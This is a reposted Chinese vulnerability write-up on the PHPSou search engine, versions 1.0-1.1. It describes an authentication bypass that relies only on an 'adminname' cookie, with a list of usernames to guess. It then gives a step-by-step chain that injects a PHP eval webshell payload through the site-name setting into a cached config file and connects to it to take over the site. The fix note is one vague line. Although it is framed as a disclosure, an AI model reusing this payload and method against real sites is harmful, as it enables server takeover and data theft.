网站地图    收藏   

主页 > 后端 > 网站安全 >

PHPSou开源搜索系统0Day及修复 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 1 漏洞描述是一套开源搜索引擎系统,官方论坛为:www.phpsou.net,简单介绍如下:PHPSou垂直搜索引擎采用PHP+Mysql开发,是国内首款基于开源底层脚本语言开发的搜索引擎系统。我们在审核...

 

 

1 漏洞描述       

是一套开源搜索引擎系统,官方论坛为:www.phpsou.net,简单介绍如下:PHPSou垂直搜索引擎采用PHP+Mysql开发,是国内首款基于开源底层脚本语言开发的搜索引擎系统。我们在审核phpsou代码的时候,发现该系统存在非常危险的安全漏洞,利用者可以伪造信息登录后台并通过后台获取webshell。

 

cookies欺骗漏洞

 

/admin/index.php等文件均包含验证文件

 <?php

 require "global.php";

        ?>

Global.php代码如下:   

 

    <?php

 

if($_COOKIE["adminname"]=="")

{

 

header("location:login.php");

 

}

 

require ("../global.php");

 

require ("global_function.php");

$admin=$db->get_one("select * from ve123_admin where admin_id='1'");

 

if($_COOKIE["adminname"]<>$admin["adminname"]){header("location:login.php");die();}

 

$comurl=$_SERVER['HTTP_REFERER'];

 

?>

 

        后台仅用cookies做验证,adminname的值取数据中admin_id=1的管理员的用户名,如果验证通过,那么就可以成功利用cookies欺骗登录后台

 

如果要通过cookies欺骗登录对方后台,我们仅仅需要知道对方的用户名即可,常用的用户名有:guigou,admin,$domain$(对方域名)等。

缓存文件写入shell漏洞

后台修改配置文件/admin/site_config.php

……略去部分代码

$fp=@fopen("../cache/site_config.php","w") or die("写方式打开文件失败,请检查程序目录是否为可写");//配置conn.php文件

@fclose($fp);      

 

后台的配置会写入到上级cache目录下的site_config.php,该文件内容如下:

 

<?php

 

$config['name']="PHP开源搜索";

$config['user_agent']="PhpSou";

由于系统过滤双引号,导致我们无法直接写入webshell,但是我们可以利用php的{}属性来功构造一个webshell。

 

2  漏洞利用

 

首先通过cookies欺骗进入对方后台,然后在网站配置处修改“网站名称”如下:

 

PHP开源搜索${${@eval($_POST[cmd]}}

 

写入成功后,www.target.com/cache/site_config.php内容即插入一句话木马

<?php

 

$config['name']="PHP开源搜索${${eval($_POST[cmd])}}";

使用一句话木马客户端连接,即可获得网站权限。

 

 

 

说明:该漏洞存在与PhpSou_GBK1.0-1.1版,其他版本请自行测试,后台还有其他方法可以获取webshell,请自行测试

 

www.2cto.com提供修复:请针对上文内容做针对性过滤和嘉庆验证

 

 

转自tools,作者:yizhigu

 

转载必须著名版权!

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论